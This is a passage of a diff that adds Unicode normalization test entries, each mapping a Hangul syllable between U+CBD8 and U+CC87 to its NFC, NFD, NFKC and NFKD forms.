+{ source: [0xCBD8], NFC: [0xCBD8], NFD: [0x110D, 0x1173, 0x11AB], NFKC: [0xCBD8], NFKD: [0x110D, 0x1173, 0x11AB] },
+{ source: [0xCBD9], NFC: [0xCBD9], NFD: [0x110D, 0x1173, 0x11AC], NFKC: [0xCBD9], NFKD: [0x110D, 0x1173, 0x11AC] },
+{ source: [0xCBDA], NFC: [0xCBDA], NFD: [0x110D, 0x1173, 0x11AD], NFKC: [0xCBDA], NFKD: [0x110D, 0x1173, 0x11AD] },
+{ source: [0xCBDB], NFC: [0xCBDB], NFD: [0x110D, 0x1173, 0x11AE], NFKC: [0xCBDB], NFKD: [0x110D, 0x1173, 0x11AE] },
+{ source: [0xCBDC], NFC: [0xCBDC], NFD: [0x110D, 0x1173, 0x11AF], NFKC: [0xCBDC], NFKD: [0x110D, 0x1173, 0x11AF] },
+{ source: [0xCBDD], NFC: [0xCBDD], NFD: [0x110D, 0x1173, 0x11B0], NFKC: [0xCBDD], NFKD: [0x110D, 0x1173, 0x11B0] },
+{ source: [0xCBDE], NFC: [0xCBDE], NFD: [0x110D, 0x1173, 0x11B1], NFKC: [0xCBDE], NFKD: [0x110D, 0x1173, 0x11B1] },
+{ source: [0xCBDF], NFC: [0xCBDF], NFD: [0x110D, 0x1173, 0x11B2], NFKC: [0xCBDF], NFKD: [0x110D, 0x1173, 0x11B2] },
+{ source: [0xCBE0], NFC: [0xCBE0], NFD: [0x110D, 0x1173, 0x11B3], NFKC: [0xCBE0], NFKD: [0x110D, 0x1173, 0x11B3] },
+{ source: [0xCBE1], NFC: [0xCBE1], NFD: [0x110D, 0x1173, 0x11B4], NFKC: [0xCBE1], NFKD: [0x110D, 0x1173, 0x11B4] },
+{ source: [0xCBE2], NFC: [0xCBE2], NFD: [0x110D, 0x1173, 0x11B5], NFKC: [0xCBE2], NFKD: [0x110D, 0x1173, 0x11B5] },
+{ source: [0xCBE3], NFC: [0xCBE3], NFD: [0x110D, 0x1173, 0x11B6], NFKC: [0xCBE3], NFKD: [0x110D, 0x1173, 0x11B6] },
+{ source: [0xCBE4], NFC: [0xCBE4], NFD: [0x110D, 0x1173, 0x11B7], NFKC: [0xCBE4], NFKD: [0x110D, 0x1173, 0x11B7] },
+{ source: [0xCBE5], NFC: [0xCBE5], NFD: [0x110D, 0x1173, 0x11B8], NFKC: [0xCBE5], NFKD: [0x110D, 0x1173, 0x11B8] },
+{ source: [0xCBE6], NFC: [0xCBE6], NFD: [0x110D, 0x1173, 0x11B9], NFKC: [0xCBE6], NFKD: [0x110D, 0x1173, 0x11B9] },
+{ source: [0xCBE7], NFC: [0xCBE7], NFD: [0x110D, 0x1173, 0x11BA], NFKC: [0xCBE7], NFKD: [0x110D, 0x1173, 0x11BA] },
+{ source: [0xCBE8], NFC: [0xCBE8], NFD: [0x110D, 0x1173, 0x11BB], NFKC: [0xCBE8], NFKD: [0x110D, 0x1173, 0x11BB] },
+{ source: [0xCBE9], NFC: [0xCBE9], NFD: [0x110D, 0x1173, 0x11BC], NFKC: [0xCBE9], NFKD: [0x110D, 0x1173, 0x11BC] },
+{ source: [0xCBEA], NFC: [0xCBEA], NFD: [0x110D, 0x1173, 0x11BD], NFKC: [0xCBEA], NFKD: [0x110D, 0x1173, 0x11BD] },
+{ source: [0xCBEB], NFC: [0xCBEB], NFD: [0x110D, 0x1173, 0x11BE], NFKC: [0xCBEB], NFKD: [0x110D, 0x1173, 0x11BE] },
+{ source: [0xCBEC], NFC: [0xCBEC], NFD: [0x110D, 0x1173, 0x11BF], NFKC: [0xCBEC], NFKD: [0x110D, 0x1173, 0x11BF] },
+{ source: [0xCBED], NFC: [0xCBED], NFD: [0x110D, 0x1173, 0x11C0], NFKC: [0xCBED], NFKD: [0x110D, 0x1173, 0x11C0] },
+{ source: [0xCBEE], NFC: [0xCBEE], NFD: [0x110D, 0x1173, 0x11C1], NFKC: [0xCBEE], NFKD: [0x110D, 0x1173, 0x11C1] },
+{ source: [0xCBEF], NFC: [0xCBEF], NFD: [0x110D, 0x1173, 0x11C2], NFKC: [0xCBEF], NFKD: [0x110D, 0x1173, 0x11C2] },
+{ source: [0xCBF0], NFC: [0xCBF0], NFD: [0x110D, 0x1174], NFKC: [0xCBF0], NFKD: [0x110D, 0x1174] },
+{ source: [0xCBF1], NFC: [0xCBF1], NFD: [0x110D, 0x1174, 0x11A8], NFKC: [0xCBF1], NFKD: [0x110D, 0x1174, 0x11A8] },
+{ source: [0xCBF2], NFC: [0xCBF2], NFD: [0x110D, 0x1174, 0x11A9], NFKC: [0xCBF2], NFKD: [0x110D, 0x1174, 0x11A9] },
+{ source: [0xCBF3], NFC: [0xCBF3], NFD: [0x110D, 0x1174, 0x11AA], NFKC: [0xCBF3], NFKD: [0x110D, 0x1174, 0x11AA] },
+{ source: [0xCBF4], NFC: [0xCBF4], NFD: [0x110D, 0x1174, 0x11AB], NFKC: [0xCBF4], NFKD: [0x110D, 0x1174, 0x11AB] },
+{ source: [0xCBF5], NFC: [0xCBF5], NFD: [0x110D, 0x1174, 0x11AC], NFKC: [0xCBF5], NFKD: [0x110D, 0x1174, 0x11AC] },
+{ source: [0xCBF6], NFC: [0xCBF6], NFD: [0x110D, 0x1174, 0x11AD], NFKC: [0xCBF6], NFKD: [0x110D, 0x1174, 0x11AD] },
+{ source: [0xCBF7], NFC: [0xCBF7], NFD: [0x110D, 0x1174, 0x11AE], NFKC: [0xCBF7], NFKD: [0x110D, 0x1174, 0x11AE] },
+{ source: [0xCBF8], NFC: [0xCBF8], NFD: [0x110D, 0x1174, 0x11AF], NFKC: [0xCBF8], NFKD: [0x110D, 0x1174, 0x11AF] },
+{ source: [0xCBF9], NFC: [0xCBF9], NFD: [0x110D, 0x1174, 0x11B0], NFKC: [0xCBF9], NFKD: [0x110D, 0x1174, 0x11B0] },
+{ source: [0xCBFA], NFC: [0xCBFA], NFD: [0x110D, 0x1174, 0x11B1], NFKC: [0xCBFA], NFKD: [0x110D, 0x1174, 0x11B1] },
+{ source: [0xCBFB], NFC: [0xCBFB], NFD: [0x110D, 0x1174, 0x11B2], NFKC: [0xCBFB], NFKD: [0x110D, 0x1174, 0x11B2] },
+{ source: [0xCBFC], NFC: [0xCBFC], NFD: [0x110D, 0x1174, 0x11B3], NFKC: [0xCBFC], NFKD: [0x110D, 0x1174, 0x11B3] },
+{ source: [0xCBFD], NFC: [0xCBFD], NFD: [0x110D, 0x1174, 0x11B4], NFKC: [0xCBFD], NFKD: [0x110D, 0x1174, 0x11B4] },
+{ source: [0xCBFE], NFC: [0xCBFE], NFD: [0x110D, 0x1174, 0x11B5], NFKC: [0xCBFE], NFKD: [0x110D, 0x1174, 0x11B5] },
+{ source: [0xCBFF], NFC: [0xCBFF], NFD: [0x110D, 0x1174, 0x11B6], NFKC: [0xCBFF], NFKD: [0x110D, 0x1174, 0x11B6] },
+{ source: [0xCC00], NFC: [0xCC00], NFD: [0x110D, 0x1174, 0x11B7], NFKC: [0xCC00], NFKD: [0x110D, 0x1174, 0x11B7] },
+{ source: [0xCC01], NFC: [0xCC01], NFD: [0x110D, 0x1174, 0x11B8], NFKC: [0xCC01], NFKD: [0x110D, 0x1174, 0x11B8] },
+{ source: [0xCC02], NFC: [0xCC02], NFD: [0x110D, 0x1174, 0x11B9], NFKC: [0xCC02], NFKD: [0x110D, 0x1174, 0x11B9] },
+{ source: [0xCC03], NFC: [0xCC03], NFD: [0x110D, 0x1174, 0x11BA], NFKC: [0xCC03], NFKD: [0x110D, 0x1174, 0x11BA] },
+{ source: [0xCC04], NFC: [0xCC04], NFD: [0x110D, 0x1174, 0x11BB], NFKC: [0xCC04], NFKD: [0x110D, 0x1174, 0x11BB] },
+{ source: [0xCC05], NFC: [0xCC05], NFD: [0x110D, 0x1174, 0x11BC], NFKC: [0xCC05], NFKD: [0x110D, 0x1174, 0x11BC] },
+{ source: [0xCC06], NFC: [0xCC06], NFD: [0x110D, 0x1174, 0x11BD], NFKC: [0xCC06], NFKD: [0x110D, 0x1174, 0x11BD] },
+{ source: [0xCC07], NFC: [0xCC07], NFD: [0x110D, 0x1174, 0x11BE], NFKC: [0xCC07], NFKD: [0x110D, 0x1174, 0x11BE] },
+{ source: [0xCC08], NFC: [0xCC08], NFD: [0x110D, 0x1174, 0x11BF], NFKC: [0xCC08], NFKD: [0x110D, 0x1174, 0x11BF] },
+{ source: [0xCC09], NFC: [0xCC09], NFD: [0x110D, 0x1174, 0x11C0], NFKC: [0xCC09], NFKD: [0x110D, 0x1174, 0x11C0] },
+{ source: [0xCC0A], NFC: [0xCC0A], NFD: [0x110D, 0x1174, 0x11C1], NFKC: [0xCC0A], NFKD: [0x110D, 0x1174, 0x11C1] },
+{ source: [0xCC0B], NFC: [0xCC0B], NFD: [0x110D, 0x1174, 0x11C2], NFKC: [0xCC0B], NFKD: [0x110D, 0x1174, 0x11C2] },
+{ source: [0xCC0C], NFC: [0xCC0C], NFD: [0x110D, 0x1175], NFKC: [0xCC0C], NFKD: [0x110D, 0x1175] },
+{ source: [0xCC0D], NFC: [0xCC0D], NFD: [0x110D, 0x1175, 0x11A8], NFKC: [0xCC0D], NFKD: [0x110D, 0x1175, 0x11A8] },
+{ source: [0xCC0E], NFC: [0xCC0E], NFD: [0x110D, 0x1175, 0x11A9], NFKC: [0xCC0E], NFKD: [0x110D, 0x1175, 0x11A9] },
+{ source: [0xCC0F], NFC: [0xCC0F], NFD: [0x110D, 0x1175, 0x11AA], NFKC: [0xCC0F], NFKD: [0x110D, 0x1175, 0x11AA] },
+{ source: [0xCC10], NFC: [0xCC10], NFD: [0x110D, 0x1175, 0x11AB], NFKC: [0xCC10], NFKD: [0x110D, 0x1175, 0x11AB] },
+{ source: [0xCC11], NFC: [0xCC11], NFD: [0x110D, 0x1175, 0x11AC], NFKC: [0xCC11], NFKD: [0x110D, 0x1175, 0x11AC] },
+{ source: [0xCC12], NFC: [0xCC12], NFD: [0x110D, 0x1175, 0x11AD], NFKC: [0xCC12], NFKD: [0x110D, 0x1175, 0x11AD] },
+{ source: [0xCC13], NFC: [0xCC13], NFD: [0x110D, 0x1175, 0x11AE], NFKC: [0xCC13], NFKD: [0x110D, 0x1175, 0x11AE] },
+{ source: [0xCC14], NFC: [0xCC14], NFD: [0x110D, 0x1175, 0x11AF], NFKC: [0xCC14], NFKD: [0x110D, 0x1175, 0x11AF] },
+{ source: [0xCC15], NFC: [0xCC15], NFD: [0x110D, 0x1175, 0x11B0], NFKC: [0xCC15], NFKD: [0x110D, 0x1175, 0x11B0] },
+{ source: [0xCC16], NFC: [0xCC16], NFD: [0x110D, 0x1175, 0x11B1], NFKC: [0xCC16], NFKD: [0x110D, 0x1175, 0x11B1] },
+{ source: [0xCC17], NFC: [0xCC17], NFD: [0x110D, 0x1175, 0x11B2], NFKC: [0xCC17], NFKD: [0x110D, 0x1175, 0x11B2] },
+{ source: [0xCC18], NFC: [0xCC18], NFD: [0x110D, 0x1175, 0x11B3], NFKC: [0xCC18], NFKD: [0x110D, 0x1175, 0x11B3] },
+{ source: [0xCC19], NFC: [0xCC19], NFD: [0x110D, 0x1175, 0x11B4], NFKC: [0xCC19], NFKD: [0x110D, 0x1175, 0x11B4] },
+{ source: [0xCC1A], NFC: [0xCC1A], NFD: [0x110D, 0x1175, 0x11B5], NFKC: [0xCC1A], NFKD: [0x110D, 0x1175, 0x11B5] },
+{ source: [0xCC1B], NFC: [0xCC1B], NFD: [0x110D, 0x1175, 0x11B6], NFKC: [0xCC1B], NFKD: [0x110D, 0x1175, 0x11B6] },
+{ source: [0xCC1C], NFC: [0xCC1C], NFD: [0x110D, 0x1175, 0x11B7], NFKC: [0xCC1C], NFKD: [0x110D, 0x1175, 0x11B7] },
+{ source: [0xCC1D], NFC: [0xCC1D], NFD: [0x110D, 0x1175, 0x11B8], NFKC: [0xCC1D], NFKD: [0x110D, 0x1175, 0x11B8] },
+{ source: [0xCC1E], NFC: [0xCC1E], NFD: [0x110D, 0x1175, 0x11B9], NFKC: [0xCC1E], NFKD: [0x110D, 0x1175, 0x11B9] },
+{ source: [0xCC1F], NFC: [0xCC1F], NFD: [0x110D, 0x1175, 0x11BA], NFKC: [0xCC1F], NFKD: [0x110D, 0x1175, 0x11BA] },
+{ source: [0xCC20], NFC: [0xCC20], NFD: [0x110D, 0x1175, 0x11BB], NFKC: [0xCC20], NFKD: [0x110D, 0x1175, 0x11BB] },
+{ source: [0xCC21], NFC: [0xCC21], NFD: [0x110D, 0x1175, 0x11BC], NFKC: [0xCC21], NFKD: [0x110D, 0x1175, 0x11BC] },
+{ source: [0xCC22], NFC: [0xCC22], NFD: [0x110D, 0x1175, 0x11BD], NFKC: [0xCC22], NFKD: [0x110D, 0x1175, 0x11BD] },
+{ source: [0xCC23], NFC: [0xCC23], NFD: [0x110D, 0x1175, 0x11BE], NFKC: [0xCC23], NFKD: [0x110D, 0x1175, 0x11BE] },
+{ source: [0xCC24], NFC: [0xCC24], NFD: [0x110D, 0x1175, 0x11BF], NFKC: [0xCC24], NFKD: [0x110D, 0x1175, 0x11BF] },
+{ source: [0xCC25], NFC: [0xCC25], NFD: [0x110D, 0x1175, 0x11C0], NFKC: [0xCC25], NFKD: [0x110D, 0x1175, 0x11C0] },
+{ source: [0xCC26], NFC: [0xCC26], NFD: [0x110D, 0x1175, 0x11C1], NFKC: [0xCC26], NFKD: [0x110D, 0x1175, 0x11C1] },
+{ source: [0xCC27], NFC: [0xCC27], NFD: [0x110D, 0x1175, 0x11C2], NFKC: [0xCC27], NFKD: [0x110D, 0x1175, 0x11C2] },
+{ source: [0xCC28], NFC: [0xCC28], NFD: [0x110E, 0x1161], NFKC: [0xCC28], NFKD: [0x110E, 0x1161] },
+{ source: [0xCC29], NFC: [0xCC29], NFD: [0x110E, 0x1161, 0x11A8], NFKC: [0xCC29], NFKD: [0x110E, 0x1161, 0x11A8] },
+{ source: [0xCC2A], NFC: [0xCC2A], NFD: [0x110E, 0x1161, 0x11A9], NFKC: [0xCC2A], NFKD: [0x110E, 0x1161, 0x11A9] },
+{ source: [0xCC2B], NFC: [0xCC2B], NFD: [0x110E, 0x1161, 0x11AA], NFKC: [0xCC2B], NFKD: [0x110E, 0x1161, 0x11AA] },
+{ source: [0xCC2C], NFC: [0xCC2C], NFD: [0x110E, 0x1161, 0x11AB], NFKC: [0xCC2C], NFKD: [0x110E, 0x1161, 0x11AB] },
+{ source: [0xCC2D], NFC: [0xCC2D], NFD: [0x110E, 0x1161, 0x11AC], NFKC: [0xCC2D], NFKD: [0x110E, 0x1161, 0x11AC] },
+{ source: [0xCC2E], NFC: [0xCC2E], NFD: [0x110E, 0x1161, 0x11AD], NFKC: [0xCC2E], NFKD: [0x110E, 0x1161, 0x11AD] },
+{ source: [0xCC2F], NFC: [0xCC2F], NFD: [0x110E, 0x1161, 0x11AE], NFKC: [0xCC2F], NFKD: [0x110E, 0x1161, 0x11AE] },
+{ source: [0xCC30], NFC: [0xCC30], NFD: [0x110E, 0x1161, 0x11AF], NFKC: [0xCC30], NFKD: [0x110E, 0x1161, 0x11AF] },
+{ source: [0xCC31], NFC: [0xCC31], NFD: [0x110E, 0x1161, 0x11B0], NFKC: [0xCC31], NFKD: [0x110E, 0x1161, 0x11B0] },
+{ source: [0xCC32], NFC: [0xCC32], NFD: [0x110E, 0x1161, 0x11B1], NFKC: [0xCC32], NFKD: [0x110E, 0x1161, 0x11B1] },
+{ source: [0xCC33], NFC: [0xCC33], NFD: [0x110E, 0x1161, 0x11B2], NFKC: [0xCC33], NFKD: [0x110E, 0x1161, 0x11B2] },
+{ source: [0xCC34], NFC: [0xCC34], NFD: [0x110E, 0x1161, 0x11B3], NFKC: [0xCC34], NFKD: [0x110E, 0x1161, 0x11B3] },
+{ source: [0xCC35], NFC: [0xCC35], NFD: [0x110E, 0x1161, 0x11B4], NFKC: [0xCC35], NFKD: [0x110E, 0x1161, 0x11B4] },
+{ source: [0xCC36], NFC: [0xCC36], NFD: [0x110E, 0x1161, 0x11B5], NFKC: [0xCC36], NFKD: [0x110E, 0x1161, 0x11B5] },
+{ source: [0xCC37], NFC: [0xCC37], NFD: [0x110E, 0x1161, 0x11B6], NFKC: [0xCC37], NFKD: [0x110E, 0x1161, 0x11B6] },
+{ source: [0xCC38], NFC: [0xCC38], NFD: [0x110E, 0x1161, 0x11B7], NFKC: [0xCC38], NFKD: [0x110E, 0x1161, 0x11B7] },
+{ source: [0xCC39], NFC: [0xCC39], NFD: [0x110E, 0x1161, 0x11B8], NFKC: [0xCC39], NFKD: [0x110E, 0x1161, 0x11B8] },
+{ source: [0xCC3A], NFC: [0xCC3A], NFD: [0x110E, 0x1161, 0x11B9], NFKC: [0xCC3A], NFKD: [0x110E, 0x1161, 0x11B9] },
+{ source: [0xCC3B], NFC: [0xCC3B], NFD: [0x110E, 0x1161, 0x11BA], NFKC: [0xCC3B], NFKD: [0x110E, 0x1161, 0x11BA] },
+{ source: [0xCC3C], NFC: [0xCC3C], NFD: [0x110E, 0x1161, 0x11BB], NFKC: [0xCC3C], NFKD: [0x110E, 0x1161, 0x11BB] },
+{ source: [0xCC3D], NFC: [0xCC3D], NFD: [0x110E, 0x1161, 0x11BC], NFKC: [0xCC3D], NFKD: [0x110E, 0x1161, 0x11BC] },
+{ source: [0xCC3E], NFC: [0xCC3E], NFD: [0x110E, 0x1161, 0x11BD], NFKC: [0xCC3E], NFKD: [0x110E, 0x1161, 0x11BD] },
+{ source: [0xCC3F], NFC: [0xCC3F], NFD: [0x110E, 0x1161, 0x11BE], NFKC: [0xCC3F], NFKD: [0x110E, 0x1161, 0x11BE] },
+{ source: [0xCC40], NFC: [0xCC40], NFD: [0x110E, 0x1161, 0x11BF], NFKC: [0xCC40], NFKD: [0x110E, 0x1161, 0x11BF] },
+{ source: [0xCC41], NFC: [0xCC41], NFD: [0x110E, 0x1161, 0x11C0], NFKC: [0xCC41], NFKD: [0x110E, 0x1161, 0x11C0] },
+{ source: [0xCC42], NFC: [0xCC42], NFD: [0x110E, 0x1161, 0x11C1], NFKC: [0xCC42], NFKD: [0x110E, 0x1161, 0x11C1] },
+{ source: [0xCC43], NFC: [0xCC43], NFD: [0x110E, 0x1161, 0x11C2], NFKC: [0xCC43], NFKD: [0x110E, 0x1161, 0x11C2] },
+{ source: [0xCC44], NFC: [0xCC44], NFD: [0x110E, 0x1162], NFKC: [0xCC44], NFKD: [0x110E, 0x1162] },
+{ source: [0xCC45], NFC: [0xCC45], NFD: [0x110E, 0x1162, 0x11A8], NFKC: [0xCC45], NFKD: [0x110E, 0x1162, 0x11A8] },
+{ source: [0xCC46], NFC: [0xCC46], NFD: [0x110E, 0x1162, 0x11A9], NFKC: [0xCC46], NFKD: [0x110E, 0x1162, 0x11A9] },
+{ source: [0xCC47], NFC: [0xCC47], NFD: [0x110E, 0x1162, 0x11AA], NFKC: [0xCC47], NFKD: [0x110E, 0x1162, 0x11AA] },
+{ source: [0xCC48], NFC: [0xCC48], NFD: [0x110E, 0x1162, 0x11AB], NFKC: [0xCC48], NFKD: [0x110E, 0x1162, 0x11AB] },
+{ source: [0xCC49], NFC: [0xCC49], NFD: [0x110E, 0x1162, 0x11AC], NFKC: [0xCC49], NFKD: [0x110E, 0x1162, 0x11AC] },
+{ source: [0xCC4A], NFC: [0xCC4A], NFD: [0x110E, 0x1162, 0x11AD], NFKC: [0xCC4A], NFKD: [0x110E, 0x1162, 0x11AD] },
+{ source: [0xCC4B], NFC: [0xCC4B], NFD: [0x110E, 0x1162, 0x11AE], NFKC: [0xCC4B], NFKD: [0x110E, 0x1162, 0x11AE] },
+{ source: [0xCC4C], NFC: [0xCC4C], NFD: [0x110E, 0x1162, 0x11AF], NFKC: [0xCC4C], NFKD: [0x110E, 0x1162, 0x11AF] },
+{ source: [0xCC4D], NFC: [0xCC4D], NFD: [0x110E, 0x1162, 0x11B0], NFKC: [0xCC4D], NFKD: [0x110E, 0x1162, 0x11B0] },
+{ source: [0xCC4E], NFC: [0xCC4E], NFD: [0x110E, 0x1162, 0x11B1], NFKC: [0xCC4E], NFKD: [0x110E, 0x1162, 0x11B1] },
+{ source: [0xCC4F], NFC: [0xCC4F], NFD: [0x110E, 0x1162, 0x11B2], NFKC: [0xCC4F], NFKD: [0x110E, 0x1162, 0x11B2] },
+{ source: [0xCC50], NFC: [0xCC50], NFD: [0x110E, 0x1162, 0x11B3], NFKC: [0xCC50], NFKD: [0x110E, 0x1162, 0x11B3] },
+{ source: [0xCC51], NFC: [0xCC51], NFD: [0x110E, 0x1162, 0x11B4], NFKC: [0xCC51], NFKD: [0x110E, 0x1162, 0x11B4] },
+{ source: [0xCC52], NFC: [0xCC52], NFD: [0x110E, 0x1162, 0x11B5], NFKC: [0xCC52], NFKD: [0x110E, 0x1162, 0x11B5] },
+{ source: [0xCC53], NFC: [0xCC53], NFD: [0x110E, 0x1162, 0x11B6], NFKC: [0xCC53], NFKD: [0x110E, 0x1162, 0x11B6] },
+{ source: [0xCC54], NFC: [0xCC54], NFD: [0x110E, 0x1162, 0x11B7], NFKC: [0xCC54], NFKD: [0x110E, 0x1162, 0x11B7] },
+{ source: [0xCC55], NFC: [0xCC55], NFD: [0x110E, 0x1162, 0x11B8], NFKC: [0xCC55], NFKD: [0x110E, 0x1162, 0x11B8] },
+{ source: [0xCC56], NFC: [0xCC56], NFD: [0x110E, 0x1162, 0x11B9], NFKC: [0xCC56], NFKD: [0x110E, 0x1162, 0x11B9] },
+{ source: [0xCC57], NFC: [0xCC57], NFD: [0x110E, 0x1162, 0x11BA], NFKC: [0xCC57], NFKD: [0x110E, 0x1162, 0x11BA] },
+{ source: [0xCC58], NFC: [0xCC58], NFD: [0x110E, 0x1162, 0x11BB], NFKC: [0xCC58], NFKD: [0x110E, 0x1162, 0x11BB] },
+{ source: [0xCC59], NFC: [0xCC59], NFD: [0x110E, 0x1162, 0x11BC], NFKC: [0xCC59], NFKD: [0x110E, 0x1162, 0x11BC] },
+{ source: [0xCC5A], NFC: [0xCC5A], NFD: [0x110E, 0x1162, 0x11BD], NFKC: [0xCC5A], NFKD: [0x110E, 0x1162, 0x11BD] },
+{ source: [0xCC5B], NFC: [0xCC5B], NFD: [0x110E, 0x1162, 0x11BE], NFKC: [0xCC5B], NFKD: [0x110E, 0x1162, 0x11BE] },
+{ source: [0xCC5C], NFC: [0xCC5C], NFD: [0x110E, 0x1162, 0x11BF], NFKC: [0xCC5C], NFKD: [0x110E, 0x1162, 0x11BF] },
+{ source: [0xCC5D], NFC: [0xCC5D], NFD: [0x110E, 0x1162, 0x11C0], NFKC: [0xCC5D], NFKD: [0x110E, 0x1162, 0x11C0] },
+{ source: [0xCC5E], NFC: [0xCC5E], NFD: [0x110E, 0x1162, 0x11C1], NFKC: [0xCC5E], NFKD: [0x110E, 0x1162, 0x11C1] },
+{ source: [0xCC5F], NFC: [0xCC5F], NFD: [0x110E, 0x1162, 0x11C2], NFKC: [0xCC5F], NFKD: [0x110E, 0x1162, 0x11C2] },
+{ source: [0xCC60], NFC: [0xCC60], NFD: [0x110E, 0x1163], NFKC: [0xCC60], NFKD: [0x110E, 0x1163] },
+{ source: [0xCC61], NFC: [0xCC61], NFD: [0x110E, 0x1163, 0x11A8], NFKC: [0xCC61], NFKD: [0x110E, 0x1163, 0x11A8] },
+{ source: [0xCC62], NFC: [0xCC62], NFD: [0x110E, 0x1163, 0x11A9], NFKC: [0xCC62], NFKD: [0x110E, 0x1163, 0x11A9] },
+{ source: [0xCC63], NFC: [0xCC63], NFD: [0x110E, 0x1163, 0x11AA], NFKC: [0xCC63], NFKD: [0x110E, 0x1163, 0x11AA] },
+{ source: [0xCC64], NFC: [0xCC64], NFD: [0x110E, 0x1163, 0x11AB], NFKC: [0xCC64], NFKD: [0x110E, 0x1163, 0x11AB] },
+{ source: [0xCC65], NFC: [0xCC65], NFD: [0x110E, 0x1163, 0x11AC], NFKC: [0xCC65], NFKD: [0x110E, 0x1163, 0x11AC] },
+{ source: [0xCC66], NFC: [0xCC66], NFD: [0x110E, 0x1163, 0x11AD], NFKC: [0xCC66], NFKD: [0x110E, 0x1163, 0x11AD] },
+{ source: [0xCC67], NFC: [0xCC67], NFD: [0x110E, 0x1163, 0x11AE], NFKC: [0xCC67], NFKD: [0x110E, 0x1163, 0x11AE] },
+{ source: [0xCC68], NFC: [0xCC68], NFD: [0x110E, 0x1163, 0x11AF], NFKC: [0xCC68], NFKD: [0x110E, 0x1163, 0x11AF] },
+{ source: [0xCC69], NFC: [0xCC69], NFD: [0x110E, 0x1163, 0x11B0], NFKC: [0xCC69], NFKD: [0x110E, 0x1163, 0x11B0] },
+{ source: [0xCC6A], NFC: [0xCC6A], NFD: [0x110E, 0x1163, 0x11B1], NFKC: [0xCC6A], NFKD: [0x110E, 0x1163, 0x11B1] },
+{ source: [0xCC6B], NFC: [0xCC6B], NFD: [0x110E, 0x1163, 0x11B2], NFKC: [0xCC6B], NFKD: [0x110E, 0x1163, 0x11B2] },
+{ source: [0xCC6C], NFC: [0xCC6C], NFD: [0x110E, 0x1163, 0x11B3], NFKC: [0xCC6C], NFKD: [0x110E, 0x1163, 0x11B3] },
+{ source: [0xCC6D], NFC: [0xCC6D], NFD: [0x110E, 0x1163, 0x11B4], NFKC: [0xCC6D], NFKD: [0x110E, 0x1163, 0x11B4] },
+{ source: [0xCC6E], NFC: [0xCC6E], NFD: [0x110E, 0x1163, 0x11B5], NFKC: [0xCC6E], NFKD: [0x110E, 0x1163, 0x11B5] },
+{ source: [0xCC6F], NFC: [0xCC6F], NFD: [0x110E, 0x1163, 0x11B6], NFKC: [0xCC6F], NFKD: [0x110E, 0x1163, 0x11B6] },
+{ source: [0xCC70], NFC: [0xCC70], NFD: [0x110E, 0x1163, 0x11B7], NFKC: [0xCC70], NFKD: [0x110E, 0x1163, 0x11B7] },
+{ source: [0xCC71], NFC: [0xCC71], NFD: [0x110E, 0x1163, 0x11B8], NFKC: [0xCC71], NFKD: [0x110E, 0x1163, 0x11B8] },
+{ source: [0xCC72], NFC: [0xCC72], NFD: [0x110E, 0x1163, 0x11B9], NFKC: [0xCC72], NFKD: [0x110E, 0x1163, 0x11B9] },
+{ source: [0xCC73], NFC: [0xCC73], NFD: [0x110E, 0x1163, 0x11BA], NFKC: [0xCC73], NFKD: [0x110E, 0x1163, 0x11BA] },
+{ source: [0xCC74], NFC: [0xCC74], NFD: [0x110E, 0x1163, 0x11BB], NFKC: [0xCC74], NFKD: [0x110E, 0x1163, 0x11BB] },
+{ source: [0xCC75], NFC: [0xCC75], NFD: [0x110E, 0x1163, 0x11BC], NFKC: [0xCC75], NFKD: [0x110E, 0x1163, 0x11BC] },
+{ source: [0xCC76], NFC: [0xCC76], NFD: [0x110E, 0x1163, 0x11BD], NFKC: [0xCC76], NFKD: [0x110E, 0x1163, 0x11BD] },
+{ source: [0xCC77], NFC: [0xCC77], NFD: [0x110E, 0x1163, 0x11BE], NFKC: [0xCC77], NFKD: [0x110E, 0x1163, 0x11BE] },
+{ source: [0xCC78], NFC: [0xCC78], NFD: [0x110E, 0x1163, 0x11BF], NFKC: [0xCC78], NFKD: [0x110E, 0x1163, 0x11BF] },
+{ source: [0xCC79], NFC: [0xCC79], NFD: [0x110E, 0x1163, 0x11C0], NFKC: [0xCC79], NFKD: [0x110E, 0x1163, 0x11C0] },
+{ source: [0xCC7A], NFC: [0xCC7A], NFD: [0x110E, 0x1163, 0x11C1], NFKC: [0xCC7A], NFKD: [0x110E, 0x1163, 0x11C1] },
+{ source: [0xCC7B], NFC: [0xCC7B], NFD: [0x110E, 0x1163, 0x11C2], NFKC: [0xCC7B], NFKD: [0x110E, 0x1163, 0x11C2] },
+{ source: [0xCC7C], NFC: [0xCC7C], NFD: [0x110E, 0x1164], NFKC: [0xCC7C], NFKD: [0x110E, 0x1164] },
+{ source: [0xCC7D], NFC: [0xCC7D], NFD: [0x110E, 0x1164, 0x11A8], NFKC: [0xCC7D], NFKD: [0x110E, 0x1164, 0x11A8] },
+{ source: [0xCC7E], NFC: [0xCC7E], NFD: [0x110E, 0x1164, 0x11A9], NFKC: [0xCC7E], NFKD: [0x110E, 0x1164, 0x11A9] },
+{ source: [0xCC7F], NFC: [0xCC7F], NFD: [0x110E, 0x1164, 0x11AA], NFKC: [0xCC7F], NFKD: [0x110E, 0x1164, 0x11AA] },
+{ source: [0xCC80], NFC: [0xCC80], NFD: [0x110E, 0x1164, 0x11AB], NFKC: [0xCC80], NFKD: [0x110E, 0x1164, 0x11AB] },
+{ source: [0xCC81], NFC: [0xCC81], NFD: [0x110E, 0x1164, 0x11AC], NFKC: [0xCC81], NFKD: [0x110E, 0x1164, 0x11AC] },
+{ source: [0xCC82], NFC: [0xCC82], NFD: [0x110E, 0x1164, 0x11AD], NFKC: [0xCC82], NFKD: [0x110E, 0x1164, 0x11AD] },
+{ source: [0xCC83], NFC: [0xCC83], NFD: [0x110E, 0x1164, 0x11AE], NFKC: [0xCC83], NFKD: [0x110E, 0x1164, 0x11AE] },
+{ source: [0xCC84], NFC: [0xCC84], NFD: [0x110E, 0x1164, 0x11AF], NFKC: [0xCC84], NFKD: [0x110E, 0x1164, 0x11AF] },
+{ source: [0xCC85], NFC: [0xCC85], NFD: [0x110E, 0x1164, 0x11B0], NFKC: [0xCC85], NFKD: [0x110E, 0x1164, 0x11B0] },
+{ source: [0xCC86], NFC: [0xCC86], NFD: [0x110E, 0x1164, 0x11B1], NFKC: [0xCC86], NFKD: [0x110E, 0x1164, 0x11B1] },
+{ source: [0xCC87], NFC: [0xCC87], NFD: [0x110E, 0x1164, 0x11B2], NFKC: [0xCC87], NFKD: [0x110E, 0x1164, 0x11B2] },
